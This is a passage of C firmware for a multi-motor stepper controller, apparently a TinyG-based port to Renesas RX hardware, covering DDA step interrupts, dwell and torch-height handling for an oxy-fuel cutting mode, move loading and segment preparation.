{\n\t\t\tmotor_4.step.set();\n\t\t\tst_run.mot[MOTOR_4].substep_accumulator -= st_run.dda_ticks_X_substeps;\n\t\t\tINCREMENT_ENCODER(MOTOR_4);\n\t\t}\n\t\tif (!motor_5.step.isNull() && (st_run.mot[MOTOR_5].substep_accumulator += st_run.mot[MOTOR_5].substep_increment) > 0) {\n\t\t\tmotor_5.step.set();\n\t\t\tst_run.mot[MOTOR_5].substep_accumulator -= st_run.dda_ticks_X_substeps;\n\t\t\tINCREMENT_ENCODER(MOTOR_5);\n\t\t}\n\t\tif (!motor_6.step.isNull() && (st_run.mot[MOTOR_6].substep_accumulator += st_run.mot[MOTOR_6].substep_increment) > 0) {\n\t\t\tmotor_6.step.set();\n\t\t\tst_run.mot[MOTOR_6].substep_accumulator -= st_run.dda_ticks_X_substeps;\n\t\t\tINCREMENT_ENCODER(MOTOR_6);\n\t\t}\n\n\t} else if (interrupt_cause == kInterruptOnMatchA) {\n//\t\tdda_debug_pin2 = 1;\n\t\tmotor_1.step.clear();\t\t\t\t\t\t\t// turn step bits off\n\t\tmotor_2.step.clear();\n\t\tmotor_3.step.clear();\n\t\tmotor_4.step.clear();\n\t\tmotor_5.step.clear();\n\t\tmotor_6.step.clear();\n\n\t\tif (--st_run.dda_ticks_downcount != 0) return;\n\n\t\t// process end of segment\n\t\tdda_timer.stop();\t\t\t\t\t\t\t\t// turn it off or it will keep stepping out the last segment\n\t\t_load_move();\t\t\t\t\t\t\t\t\t// load the next move at the current interrupt level\n//\t\tdda_debug_pin2 = 0;\n\t}\n// dda_debug_pin1 = 0;\n} // MOTATE_TIMER_INTERRUPT\n} // namespace Motate\n\n#endif // __ARM\n\n#ifdef __RX\nvoid timer_dda_callback(void *pdata)\n{\n\tstatic bool flag_dda = 1;\n\n\tflag_dda ^= 1;\n\tif (!flag_dda)\n\t{\n\t\tif ((st_run.mot[MOTOR_1].substep_accumulator += st_run.mot[MOTOR_1].substep_increment) > 0) {\n\t\t\tif(!zinhibitor){\n\t\t\t\tMOTOR1_STEP = TRUE;\t\t// turn step bit on\n\t\t\t}\n\t\t\tst_run.mot[MOTOR_1].substep_accumulator -= st_run.dda_ticks_X_substeps;\n\t\t\tINCREMENT_ENCODER(MOTOR_1);\n\t\t}\n\t\tif ((st_run.mot[MOTOR_2].substep_accumulator += st_run.mot[MOTOR_2].substep_increment) > 0) {\n\t\t\tMOTOR2_STEP = TRUE;\n\t\t\tst_run.mot[MOTOR_2].substep_accumulator -= st_run.dda_ticks_X_substeps;\n\t\t\tINCREMENT_ENCODER(MOTOR_2);\n\t\t}\n\t\tif ((st_run.mot[MOTOR_3].substep_accumulator += st_run.mot[MOTOR_3].substep_increment) > 0) {\n\t\t\tMOTOR3_STEP = TRUE;\n\t\t\tst_run.mot[MOTOR_3].substep_accumulator -= st_run.dda_ticks_X_substeps;\n\t\t\tINCREMENT_ENCODER(MOTOR_3);\n\t\t}\n\t\tif ((st_run.mot[MOTOR_4].substep_accumulator += st_run.mot[MOTOR_4].substep_increment) > 0) {\n\t\t\tMOTOR4_STEP = TRUE;\n\t\t\tst_run.mot[MOTOR_4].substep_accumulator -= st_run.dda_ticks_X_substeps;\n\t\t\tINCREMENT_ENCODER(MOTOR_4);\n\t\t}\n\t}\n\telse\n\t{\n\t\t// pulse stretching for using external drivers.- turn step bits off\n\t\tMOTOR1_STEP = FALSE;\t\t\t\t// ~ 5 uSec pulse width\n\t\tMOTOR2_STEP = FALSE;\t\t\t\t// ~ 4 uSec\n\t\tMOTOR3_STEP = FALSE;\t\t\t\t// ~ 3 uSec\n\t\tMOTOR4_STEP = FALSE;\t\t\t\t// ~ 2 uSec\n\n\t\tif (--st_run.dda_ticks_downcount != 0) return;\n\t\tR_TMR_Control(TIMER_DDA, TMR_CLEAR, 0);\t\t\t\t// disable DDA timer\n\t\t_load_move();\t\t\t\t\t\t\t\t\t\t// load the next move\n\t}\n}\n\n#endif // __ARM\n/***** Dwell Interrupt Service Routine **************************************************\n * ISR - DDA timer interrupt routine - service ticks from DDA timer\n */\n\n#ifdef __AVR\nISR(TIMER_DWELL_ISR_vect) {\t\t\t\t\t\t\t\t// DWELL timer interrupt\n\tif (--st_run.dda_ticks_downcount == 0) {\n\t\tTIMER_DWELL.CTRLA = STEP_TIMER_DISABLE;\t\t\t// disable DWELL timer\n\t\t_load_move();\n\t}\n}\n#endif\n\n#ifdef __ARM\nnamespace Motate {\t\t\t// Must define timer interrupts inside the Motate namespace\nMOTATE_TIMER_INTERRUPT(dwell_timer_num)\n{\n\tdwell_timer.getInterruptCause(); // read SR to clear interrupt condition\n\tif (--st_run.dda_ticks_downcount == 0) {\n\t\tdwell_timer.stop();\n\t\t_load_move();\n\t}\n}\n} // namespace Motate\n#endif\n\n#ifdef __RX\nvoid timer_dwell_callback(void *pdata)\n{\n\tstatic uint32_t refresh = 0;\n\tstatic float step = 0;\n\tif(zmove<0)\n\t{\n\t\tMOTOR1_DIR = MOTOR_FOWARD;\n\t}\n\telse\n\t{\n\t\tMOTOR1_DIR = MOTOR_REVERSE;\n\t}\n\tif(zmove != 0){\n\n\t\tstep += z_step_pulse/2;\n\t\tMOTOR1_STEP = !MOTOR1_STEP;\t\t// turn step bit on\n\t}\n\n\trefresh += 1;\n\tif(refresh == 1000){\n\t\tif (MOTOR1_DIR == MOTOR_FOWARD)\n\t\t{\n\t\t\tmr.gm.target[AXIS_Z] -= step;\n\t\t\tif(configFlags[MODOMAQUINA] == MODO_OXICORTE)\n\t\t\t{\n\t\t\t\t/* Atualizando a altura de corte*/\n\t\t\t\tconfigVarOx[OX_CONFIG_ALTURA_CORTE] -= step;\n\t\t\t\tconfigVarOx[OX_CONFIG_ALTURA_PERFURACAO] -= step;\n\t\t\t\tconfigVarMaq[CFG_MAQUINA_ALT_DESLOCAMENTO] -= step;\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\tmr.gm.target[AXIS_Z] += step;\n\t\t\tif(configFlags[MODOMAQUINA] == MODO_OXICORTE)\n\t\t\t{\n\t\t\t\t/* Atualizando a altura de corte*/\n\t\t\t\tconfigVarOx[OX_CONFIG_ALTURA_CORTE] += step;\n\t\t\t\tconfigVarOx[OX_CONFIG_ALTURA_PERFURACAO] += step;\n\t\t\t\tconfigVarMaq[CFG_MAQUINA_ALT_DESLOCAMENTO] += step;\n\t\t\t}\n\t\t}\n\n\t\tmp_set_runtime_position(AXIS_Z,mr.gm.target[AXIS_Z]);\n\t\tif(step != 0)\n\t\t\tzmoved = true;\n\t\trefresh = 0;\n\t\tstep = 0;\n\t}\n\tif (--st_run.dda_ticks_downcount == 0) {\n\t\tisDwell = false;\n\t\trefresh = 0;\n\n\t\tstep = 0;\n\t\tif (st_pre.mot[MOTOR_1].direction == DIRECTION_CW)\n\t\t\tMOTOR1_DIR = MOTOR_REVERSE; else\n\t\tMOTOR1_DIR = MOTOR_FOWARD;\n\t\t//TIMER_DWELL.CTRLA = STEP_TIMER_DISABLE;\t\t\t// disable DWELL timer\n\t\tR_CMT_Control(timerDwell,CMT_RX_CMD_PAUSE,0);\n\t\tdelay_thcStartStop(true);\n\t\t_load_move();\n\t}\n}\n#endif\n\n/****************************************************************************************\n * Exec sequencing code\t\t- computes and prepares next load segment\n * st_request_exec_move()\t- SW interrupt to request to execute a move\n * exec_timer interrupt\t\t- interrupt handler for calling exec function\n */\n\n#ifdef __AVR\nvoid st_request_exec_move()\n{\n\tif (st_pre.buffer_state == PREP_BUFFER_OWNED_BY_EXEC) {// bother interrupting\n\t\tTIMER_EXEC.PER = EXEC_TIMER_PERIOD;\n\t\tTIMER_EXEC.CTRLA = EXEC_TIMER_ENABLE;\t\t\t\t// trigger a LO interrupt\n\t}\n}\n\nISR(TIMER_EXEC_ISR_vect) {\t\t\t\t\t\t\t\t// exec move SW interrupt\n\tTIMER_EXEC.CTRLA = EXEC_TIMER_DISABLE;\t\t\t\t// disable SW interrupt timer\n\n\t// exec_move\n\tif (st_pre.buffer_state == PREP_BUFFER_OWNED_BY_EXEC) {\n\t\tif (mp_exec_move() != STAT_NOOP) {\n\t\t\tst_pre.buffer_state = PREP_BUFFER_OWNED_BY_LOADER; // flip it back\n\t\t\t_request_load_move();\n\t\t}\n\t}\n}\n#endif // __AVR\n\n#ifdef __ARM\nvoid st_request_exec_move()\n{\n\tif (st_pre.buffer_state == PREP_BUFFER_OWNED_BY_EXEC) {// bother interrupting\n\t\texec_timer.setInterruptPending();\n\t}\n}\n\nnamespace Motate {\t// Define timer inside Motate namespace\n\tMOTATE_TIMER_INTERRUPT(exec_timer_num)\t\t\t\t// exec move SW interrupt\n\t{\n\t\texec_timer.getInterruptCause();\t\t\t\t\t// clears the interrupt condition\n\t\tif (st_pre.buffer_state == PREP_BUFFER_OWNED_BY_EXEC) {\n\t\t\tif (mp_exec_move() != STAT_NOOP) {\n\t\t\t\tst_pre.buffer_state = PREP_BUFFER_OWNED_BY_LOADER; // flip it back\n\t\t\t\t_request_load_move();\n\t\t\t}\n\t\t}\n\t}\n} // namespace Motate\n\n#endif // __ARM\n\n#ifdef __RX\nvoid st_request_exec_move()\n{\n\tif (st_pre.buffer_state == PREP_BUFFER_OWNED_BY_EXEC) {// bother interrupting\n\t\tR_TMR_Control(TIMER_EXEC, TMR_START, 0); // trigger a LO interrupt\n\t}\n}\n\nvoid exec_timer_num(void *pdata)\n{\n\t// exec_move\n\tif (st_pre.buffer_state == PREP_BUFFER_OWNED_BY_EXEC) {\n\t\tif (mp_exec_move() != STAT_NOOP) {\n\t\t\tst_pre.buffer_state = PREP_BUFFER_OWNED_BY_LOADER; // flip it back\n\t\t\t_request_load_move();\n\t\t}\n\t}\n}\n#endif\n\n/****************************************************************************************\n * Loader sequencing code\n * st_request_load_move() - fires a software interrupt (timer) to request to load a move\n * load_move interrupt\t - interrupt handler for running the loader\n *\n *\t_load_move() can only be called be called from an ISR at the same or higher level as\n *\tthe DDA or dwell ISR. A software interrupt has been provided to allow a non-ISR to\n *\trequest a load (see st_request_load_move())\n */\n\n#ifdef __AVR\nstatic void _request_load_move()\n{\n\tif (st_runtime_isbusy()) {\n\t\treturn;\t\t\t\t\t\t\t\t\t\t\t\t\t// don't request a load if the runtime is busy\n\t}\n\tif (st_pre.buffer_state == PREP_BUFFER_OWNED_BY_LOADER) {\t// bother interrupting\n\t\tTIMER_LOAD.PER = LOAD_TIMER_PERIOD;\n\t\tTIMER_LOAD.CTRLA = LOAD_TIMER_ENABLE;\t\t\t\t\t// trigger a HI interrupt\n\t}\n}\n\nISR(TIMER_LOAD_ISR_vect) {\t\t\t\t\t\t\t\t\t\t// load steppers SW interrupt\n\tTIMER_LOAD.CTRLA = LOAD_TIMER_DISABLE;\t\t\t\t\t\t// disable SW interrupt timer\n\t_load_move();\n}\n#endif // __AVR\n\n#ifdef __ARM\nstatic void _request_load_move()\n{\n\tif (st_runtime_isbusy()) {\n\t\treturn;\t\t\t\t\t\t\t\t\t\t\t\t\t// don't request a load if the runtime is busy\n\t}\n\tif (st_pre.buffer_state == PREP_BUFFER_OWNED_BY_LOADER) {\t// bother interrupting\n\t\tload_timer.setInterruptPending();\n\t}\n}\n\nnamespace Motate {\t// Define timer inside Motate namespace\n\tMOTATE_TIMER_INTERRUPT(load_timer_num)\t\t\t\t\t\t// load steppers SW interrupt\n\t{\n\t\tload_timer.getInterruptCause();\t\t\t\t\t\t\t// read SR to clear interrupt condition\n\t\t_load_move();\n\t}\n} // namespace Motate\n#endif // __ARM\n\n#ifdef __RX\nstatic void _request_load_move()\n{\n\tif (st_runtime_isbusy()) {\n\t\treturn;\t\t\t\t\t\t\t\t\t\t\t\t\t// don't request a load if the runtime is busy\n\t}\n\tif (st_pre.buffer_state == PREP_BUFFER_OWNED_BY_LOADER) {\t// bother interrupting\n\t\tR_TMR_Control(TIMER_LOAD, TMR_START, 0);\t\t\t\t\t// trigger a HI interrupt\n\t}\n\n}\n\nvoid load_timer_num(void *pdata)\n{\t\t\t\t\t\t\t\t// load timer interrupt\n\t_load_move();\n}\n#endif\n\n/****************************************************************************************\n * _load_move() - Dequeue move and load into stepper struct\n *\n *\tThis routine can only be called be called from an ISR at the same or\n *\thigher level as the DDA or dwell ISR. A software interrupt has been\n *\tprovided to allow a non-ISR to request a load (see st_request_load_move())\n *\n *\tIn aline() code:\n *\t - All axes must set steps and compensate for out-of-range pulse phasing.\n *\t - If axis has 0 steps the direction setting can be omitted\n *\t - If axis has 0 steps the motor must not be enabled to support power mode = 1\n */\n/****** WARNING - THIS CODE IS SPECIFIC TO AVR. SEE G2 FOR ARM CODE ******/\n\nstatic void _load_move()\n{\n\t// Be aware that dda_ticks_downcount must equal zero for the loader to run.\n\t// So the initial load must also have this set to zero as part of initialization\n\tif (st_runtime_isbusy()) {\n\t\treturn;\t\t\t\t\t\t\t\t\t\t\t\t\t// exit if the runtime is busy\n\t}\n\tif (st_pre.buffer_state != PREP_BUFFER_OWNED_BY_LOADER) {\t// if there are no moves to load...\n\t\tfor (uint8_t motor = MOTOR_1; motor < MOTORS; motor++) {\n\t\t\tst_run.mot[motor].power_state = MOTOR_POWER_TIMEOUT_START;\t// ...start motor power timeouts\n\t\t}\n\t\treturn;\n\t}\n\t// handle aline loads first (most common case)\n\tif (st_pre.move_type == MOVE_TYPE_ALINE) {\n\n\t\t//**** setup the new segment ****\n\n\t\tst_run.dda_ticks_downcount = st_pre.dda_ticks;\n\t\tst_run.dda_ticks_X_substeps = st_pre.dda_ticks_X_substeps;\n\n\t\t//**** MOTOR_1 LOAD ****\n\n\t\t// These sections are somewhat optimized for execution speed. The whole load operation\n\t\t// is supposed to take < 10 uSec (Xmega). Be careful if you mess with this.\n\n\t\t// the following if() statement sets the runtime substep increment value or zeroes it\n\t\tif ((st_run.mot[MOTOR_1].substep_increment = st_pre.mot[MOTOR_1].substep_increment) != 0) {\n\n\t\t\t// NB: If motor has 0 steps the following is all skipped. This ensures that state comparisons\n\t\t\t//\t always operate on the last segment actually run by this motor, regardless of how many\n\t\t\t//\t segments it may have been inactive in between.\n\n\t\t\t// Apply accumulator correction if the time base has changed since previous segment\n\t\t\tif (st_pre.mot[MOTOR_1].accumulator_correction_flag == true) {\n\t\t\t\tst_pre.mot[MOTOR_1].accumulator_correction_flag = false;\n\t\t\t\tst_run.mot[MOTOR_1].substep_accumulator *= st_pre.mot[MOTOR_1].accumulator_correction;\n\t\t\t}\n\n\t\t\t// Detect direction change and if so:\n\t\t\t//\t- Set the direction bit in hardware.\n\t\t\t//\t- Compensate for direction change by flipping substep accumulator value about its midpoint.\n\n\t\t\tif (st_pre.mot[MOTOR_1].direction != st_pre.mot[MOTOR_1].prev_direction) {\n\t\t\t\tst_pre.mot[MOTOR_1].prev_direction = st_pre.mot[MOTOR_1].direction;\n\t\t\t\tst_run.mot[MOTOR_1].substep_accumulator = -(st_run.dda_ticks_X_substeps + st_run.mot[MOTOR_1].substep_accumulator);\n\t\t\t\tif (st_pre.mot[MOTOR_1].direction == DIRECTION_CW)\n\t\t\t\t\tMOTOR1_DIR = MOTOR_REVERSE; else\n\t\t\t\tMOTOR1_DIR = MOTOR_FOWARD;\n//RXMOD\t\t\t\tPORT_MOTOR_1_VPORT.OUT &= ~DIRECTION_BIT_bm; else\n//\t\t\t\tPORT_MOTOR_1_VPORT.OUT |= DIRECTION_BIT_bm;\n\t\t\t}\n\t\t\tSET_ENCODER_STEP_SIGN(MOTOR_1, st_pre.mot[MOTOR_1].step_sign);\n\n\t\t\t// Enable the stepper and start motor power management\n\t\t\tif (st_cfg.mot[MOTOR_1].power_mode != MOTOR_DISABLED) {\n//RXMOD\t\t\t\t\tPORT_MOTOR_1_VPORT.OUT &= ~MOTOR_ENABLE_BIT_bm; // energize motor\n\t\t\t\tst_run.mot[MOTOR_1].power_state = MOTOR_POWER_TIMEOUT_START;// set power management state\n\t\t\t}\n\n\t\t} else { // Motor has 0 steps; might need to energize motor for power mode processing\n\t\t\tif (st_cfg.mot[MOTOR_1].power_mode == MOTOR_POWERED_IN_CYCLE) {\n////RXMOD\t\t\t\t\tPORT_MOTOR_1_VPORT.OUT &= ~MOTOR_ENABLE_BIT_bm; // energize motor\n\t\t\t\tst_run.mot[MOTOR_1].power_state = MOTOR_POWER_TIMEOUT_START;\n\t\t\t}\n\t\t}\n\t\t// accumulate counted steps to the step position and zero out counted steps for the segment currently being loaded\n\t\tACCUMULATE_ENCODER(MOTOR_1);\n\n#if (MOTORS >= 2)\t//**** MOTOR_2 LOAD ****\n\t\tif ((st_run.mot[MOTOR_2].substep_increment = st_pre.mot[MOTOR_2].substep_increment) != 0) {\n\t\t\tif (st_pre.mot[MOTOR_2].accumulator_correction_flag == true) {\n\t\t\t\tst_pre.mot[MOTOR_2].accumulator_correction_flag = false;\n\t\t\t\tst_run.mot[MOTOR_2].substep_accumulator *= st_pre.mot[MOTOR_2].accumulator_correction;\n\t\t\t}\n\t\t\tif (st_pre.mot[MOTOR_2].direction != st_pre.mot[MOTOR_2].prev_direction) {\n\t\t\t\tst_pre.mot[MOTOR_2].prev_direction = st_pre.mot[MOTOR_2].direction;\n\t\t\t\tst_run.mot[MOTOR_2].substep_accumulator = -(st_run.dda_ticks_X_substeps + st_run.mot[MOTOR_2].substep_accumulator);\n\t\t\t\tif (st_pre.mot[MOTOR_2].direction == DIRECTION_CW)\n\t\t\t\t\tMOTOR2_DIR = MOTOR_REVERSE; else\n\t\t\t\tMOTOR2_DIR = MOTOR_FOWARD;\n\t\t\t}\n\t\t\tSET_ENCODER_STEP_SIGN(MOTOR_2, st_pre.mot[MOTOR_2].step_sign);\n\t\t\tif (st_cfg.mot[MOTOR_2].power_mode != MOTOR_DISABLED) {\n//RXMOD\t\t\t\t\tPORT_MOTOR_2_VPORT.OUT &= ~MOTOR_ENABLE_BIT_bm;\n\t\t\t\tst_run.mot[MOTOR_2].power_state = MOTOR_POWER_TIMEOUT_START;\n\t\t\t}\n\t\t} else {\n\t\t\tif (st_cfg.mot[MOTOR_2].power_mode == MOTOR_POWERED_IN_CYCLE) {\n//RXMOD\t\t\t\t\tPORT_MOTOR_2_VPORT.OUT &= ~MOTOR_ENABLE_BIT_bm;\n\t\t\t\tst_run.mot[MOTOR_2].power_state = MOTOR_POWER_TIMEOUT_START;\n\t\t\t}\n\t\t}\n\t\tACCUMULATE_ENCODER(MOTOR_2);\n#endif\n#if (MOTORS >= 3)\t//**** MOTOR_3 LOAD ****\n\t\tif ((st_run.mot[MOTOR_3].substep_increment = st_pre.mot[MOTOR_3].substep_increment) != 0) {\n\t\t\tif (st_pre.mot[MOTOR_3].accumulator_correction_flag == true) {\n\t\t\t\tst_pre.mot[MOTOR_3].accumulator_correction_flag = false;\n\t\t\t\tst_run.mot[MOTOR_3].substep_accumulator *= st_pre.mot[MOTOR_3].accumulator_correction;\n\t\t\t}\n\t\t\tif (st_pre.mot[MOTOR_3].direction != st_pre.mot[MOTOR_3].prev_direction) {\n\t\t\t\tst_pre.mot[MOTOR_3].prev_direction = st_pre.mot[MOTOR_3].direction;\n\t\t\t\tst_run.mot[MOTOR_3].substep_accumulator = -(st_run.dda_ticks_X_substeps + st_run.mot[MOTOR_3].substep_accumulator);\n\t\t\t\tif (st_pre.mot[MOTOR_3].direction == DIRECTION_CW)\n\t\t\t\t\tMOTOR3_DIR = MOTOR_REVERSE; else\n\t\t\t\tMOTOR3_DIR = MOTOR_FOWARD;\n\t\t\t}\n\t\t\tSET_ENCODER_STEP_SIGN(MOTOR_3, st_pre.mot[MOTOR_3].step_sign);\n\t\t\tif (st_cfg.mot[MOTOR_3].power_mode != MOTOR_DISABLED) {\n//RXMOD\t\t\t\t\tPORT_MOTOR_3_VPORT.OUT &= ~MOTOR_ENABLE_BIT_bm;\n\t\t\t\tst_run.mot[MOTOR_3].power_state = MOTOR_POWER_TIMEOUT_START;\n\t\t\t}\n\t\t} else {\n\t\t\tif (st_cfg.mot[MOTOR_3].power_mode == MOTOR_POWERED_IN_CYCLE) {\n//RXMOD\t\t\t\t\tPORT_MOTOR_3_VPORT.OUT &= ~MOTOR_ENABLE_BIT_bm;\n\t\t\t\tst_run.mot[MOTOR_3].power_state = MOTOR_POWER_TIMEOUT_START;\n\t\t\t}\n\t\t}\n\t\tACCUMULATE_ENCODER(MOTOR_3);\n#endif\n#if (MOTORS >= 4) //**** MOTOR_4 LOAD ****\n\t\tif ((st_run.mot[MOTOR_4].substep_increment = st_pre.mot[MOTOR_4].substep_increment) != 0) {\n\t\t\tif (st_pre.mot[MOTOR_4].accumulator_correction_flag == true) {\n\t\t\t\tst_pre.mot[MOTOR_4].accumulator_correction_flag = false;\n\t\t\t\tst_run.mot[MOTOR_4].substep_accumulator *= st_pre.mot[MOTOR_4].accumulator_correction;\n\t\t\t}\n\t\t\tif (st_pre.mot[MOTOR_4].direction != st_pre.mot[MOTOR_4].prev_direction) {\n\t\t\t\tst_pre.mot[MOTOR_4].prev_direction = st_pre.mot[MOTOR_4].direction;\n\t\t\t\tst_run.mot[MOTOR_4].substep_accumulator = -(st_run.dda_ticks_X_substeps + st_run.mot[MOTOR_4].substep_accumulator);\n\t\t\t\tif (st_pre.mot[MOTOR_4].direction == DIRECTION_CW)\n\t\t\t\t\tMOTOR4_DIR = MOTOR_REVERSE; else\n\t\t\t\tMOTOR4_DIR = MOTOR_FOWARD;\n\t\t\t}\n\t\t\tSET_ENCODER_STEP_SIGN(MOTOR_4, st_pre.mot[MOTOR_4].step_sign);\n\t\t\tif (st_cfg.mot[MOTOR_4].power_mode != MOTOR_DISABLED) {\n//RXMOD\t\t\t\t\tPORT_MOTOR_4_VPORT.OUT &= ~MOTOR_ENABLE_BIT_bm;\n\t\t\t\tst_run.mot[MOTOR_4].power_state = MOTOR_POWER_TIMEOUT_START;\n\t\t\t}\n\t\t} else {\n\t\t\tif (st_cfg.mot[MOTOR_4].power_mode == MOTOR_POWERED_IN_CYCLE) {\n//RXMOD\t\t\t\t\tPORT_MOTOR_4_VPORT.OUT &= ~MOTOR_ENABLE_BIT_bm;\n\t\t\t\tst_run.mot[MOTOR_4].power_state = MOTOR_POWER_TIMEOUT_START;\n\t\t\t}\n\t\t}\n\t\tACCUMULATE_ENCODER(MOTOR_4);\n#endif\n#if (MOTORS >= 5)\t//**** MOTOR_5 LOAD ****\n\t\tif ((st_run.mot[MOTOR_5].substep_increment = st_pre.mot[MOTOR_5].substep_increment) != 0) {\n\t\t\tif (st_pre.mot[MOTOR_5].accumulator_correction_flag == true) {\n\t\t\t\tst_pre.mot[MOTOR_5].accumulator_correction_flag = false;\n\t\t\t\tst_run.mot[MOTOR_5].substep_accumulator *= st_pre.mot[MOTOR_5].accumulator_correction;\n\t\t\t}\n\t\t\tif (st_pre.mot[MOTOR_5].direction != st_pre.mot[MOTOR_5].prev_direction) {\n\t\t\t\tst_pre.mot[MOTOR_5].prev_direction = st_pre.mot[MOTOR_5].direction;\n\t\t\t\tst_run.mot[MOTOR_5].substep_accumulator = -(st_run.dda_ticks_X_substeps + st_run.mot[MOTOR_5].substep_accumulator);\n\t\t\t\tif (st_pre.mot[MOTOR_5].direction == DIRECTION_CW)\n\t\t\t\tPORT_MOTOR_5_VPORT.OUT &= ~DIRECTION_BIT_bm; else\n\t\t\t\tPORT_MOTOR_5_VPORT.OUT |= DIRECTION_BIT_bm;\n\t\t\t}\n\t\t\tPORT_MOTOR_5_VPORT.OUT &= ~MOTOR_ENABLE_BIT_bm;\n\t\t\tst_run.mot[MOTOR_5].power_state = MOTOR_POWER_TIMEOUT_START;\n\t\t\tSET_ENCODER_STEP_SIGN(MOTOR_5, st_pre.mot[MOTOR_5].step_sign);\n\t\t} else {\n\t\t\tif (st_cfg.mot[MOTOR_5].power_mode == MOTOR_POWERED_IN_CYCLE) {\n\t\t\t\tPORT_MOTOR_5_VPORT.OUT &= ~MOTOR_ENABLE_BIT_bm;\n\t\t\t\tst_run.mot[MOTOR_5].power_state = MOTOR_POWER_TIMEOUT_START;\n\t\t\t}\n\t\t}\n\t\tACCUMULATE_ENCODER(MOTOR_5);\n#endif\n#if (MOTORS >= 6)\t//**** MOTOR_6 LOAD ****\n\t\tif ((st_run.mot[MOTOR_6].substep_increment = st_pre.mot[MOTOR_6].substep_increment) != 0) {\n\t\t\tif (st_pre.mot[MOTOR_6].accumulator_correction_flag == true) {\n\t\t\t\tst_pre.mot[MOTOR_6].accumulator_correction_flag = false;\n\t\t\t\tst_run.mot[MOTOR_6].substep_accumulator *= st_pre.mot[MOTOR_6].accumulator_correction;\n\t\t\t}\n\t\t\tif (st_pre.mot[MOTOR_6].direction != st_pre.mot[MOTOR_6].prev_direction) {\n\t\t\t\tst_pre.mot[MOTOR_6].prev_direction = st_pre.mot[MOTOR_6].direction;\n\t\t\t\tst_run.mot[MOTOR_6].substep_accumulator = -(st_run.dda_ticks_X_substeps + st_run.mot[MOTOR_6].substep_accumulator);\n\t\t\t\tif (st_pre.mot[MOTOR_6].direction == DIRECTION_CW)\n\t\t\t\tPORT_MOTOR_6_VPORT.OUT &= ~DIRECTION_BIT_bm; else\n\t\t\t\tPORT_MOTOR_6_VPORT.OUT |= DIRECTION_BIT_bm;\n\t\t\t}\n\t\t\tPORT_MOTOR_6_VPORT.OUT &= ~MOTOR_ENABLE_BIT_bm;\n\t\t\tst_run.mot[MOTOR_6].power_state = MOTOR_POWER_TIMEOUT_START;\n\t\t\tSET_ENCODER_STEP_SIGN(MOTOR_6, st_pre.mot[MOTOR_6].step_sign);\n\t\t} else {\n\t\t\tif (st_cfg.mot[MOTOR_6].power_mode == MOTOR_POWERED_IN_CYCLE) {\n\t\t\t\tPORT_MOTOR_6_VPORT.OUT &= ~MOTOR_ENABLE_BIT_bm;\n\t\t\t\tst_run.mot[MOTOR_6].power_state = MOTOR_POWER_TIMEOUT_START;\n\t\t\t}\n\t\t}\n\t\tACCUMULATE_ENCODER(MOTOR_6);\n#endif\n\t\t//**** do this last ****\n\n\t\tR_TMR_Control(TIMER_DDA, TMR_START, 0);\t\t\t// enable the DDA timer\n\n\t// handle dwells\n\t} else if (st_pre.move_type == MOVE_TYPE_DWELL) {\n\t\tisDwell = true;\n\t\tst_run.dda_ticks_downcount = st_pre.dda_ticks;\n//RXMOD\t\t\tTIMER_DWELL.PER = st_pre.dda_period;\t\t\t// load dwell timer period\n//\t\tTIMER_DWELL.CTRLA = STEP_TIMER_ENABLE;\t\t\t// enable the dwell timer\n//\t\tR_CMT_Control(timerDwell,CMT_RX_CMD_RESTART,0);\n\t\tst_command_dwell(DWELL_START);\n\n\t// handle synchronous commands\n\t} else if (st_pre.move_type == MOVE_TYPE_COMMAND) {\n\t\tmp_runtime_command(st_pre.bf);\n\t}\n\n\t// all other cases drop to here (e.g. Null moves after Mcodes skip to here)\n\tst_pre.move_type = MOVE_TYPE_NULL;\n\tst_pre.buffer_state = PREP_BUFFER_OWNED_BY_EXEC;\t// we are done with the prep buffer - flip the flag back\n\tst_request_exec_move();\t\t\t\t\t\t\t\t// exec and prep next move\n}\n\n/***********************************************************************************\n * st_prep_line() - Prepare the next move for the loader\n *\n *\tThis function does the math on the next pulse segment and gets it ready for\n *\tthe loader. It deals with all the DDA optimizations and timer setups so that\n *\tloading can be performed as rapidly as possible. It works in joint space\n *\t(motors) and it works in steps, not length units. All args are provided as\n *\tfloats and converted to their appropriate integer types for the loader.\n *\n * Args:\n *\t - travel_steps[] are signed relative motion in steps for each motor. Steps are\n *\t\tfloats that typically have fractional values (fractional steps). The sign\n *\t\tindicates direction. Motors that are not in the move should be 0 steps on input.\n *\n *\t - following_error[] is a vector of measured errors to the step count. Used for correction.\n *\n *\t - segment_time - how many minutes the segment should run. If timing is not\n *\t\t100% accurate this will affect the move velocity, but not the distance traveled.\n *\n * NOTE: Many of the expressions are sensitive to casting and execution order to avoid long-term\n *\t\t accuracy errors due to floating point round off. One earlier failed attempt was:\n *\t\t dda_ticks_X_substeps = (int32_t)((microseconds/1000000) * f_dda * dda_substeps);\n */\n\nstat_t st_prep_line(float travel_steps[], float following_error[], float segment_time)\n{\n\t// trap conditions that would prevent queueing the line\n\tif (st_pre.buffer_state != PREP_BUFFER_OWNED_BY_EXEC) {\n\t\treturn (cm_hard_alarm(STAT_INTERNAL_ERROR));\n\t} else if (isinf(segment_time)) { return (cm_hard_alarm(STAT_PREP_LINE_MOVE_TIME_IS_INFINITE));\t// never supposed to happen\n\t} else if (isnan(segment_time)) { return (cm_hard_alarm(STAT_PREP_LINE_MOVE_TIME_IS_NAN));\t\t// never supposed to happen\n\t} else if (segment_time < EPSILON) { return (STAT_MINIMUM_TIME_MOVE);\n\t}\n\t// setup segment parameters\n\t// - dda_ticks is the integer number of DDA clock ticks needed to play out the segment\n\t// - ticks_X_substeps is the maximum depth of the DDA accumulator (as a negative number)\n\n\tst_pre.dda_period = _f_to_period(FREQUENCY_DDA);\n\tst_pre.dda_ticks = (int32_t)(segment_time * 60 * FREQUENCY_DDA);// NB: converts minutes to seconds\n\tst_pre.dda_ticks_X_substeps = st_pre.dda_ticks * DDA_SUBSTEPS;\n\n\t// setup motor parameters\n\n\tfloat correction_steps;\n\tfor (uint8_t motor=0; motor<MOTORS; motor++) {\t// I want to remind myself that this is motors, not axes\n\n\t\t// Skip this motor if there are no new steps. Leave all other values intact.\n\t\tif (fp_ZERO(travel_steps[motor])) { st_pre.mot[motor].substep_increment = 0; continue;}\n\n\t\t// Setup the direction, compensating for polarity.\n\t\t// Set the step_sign which is used by the stepper ISR to accumulate step position\n\n\t\tif (travel_steps[motor] >= 0) {\t\t\t\t\t// positive direction\n\t\t\tst_pre.mot[motor].direction = DIRECTION_CW ^ st_cfg.mot[motor].polarity;\n\t\t\tst_pre.mot[motor].step_sign = 1;\n\t\t} else 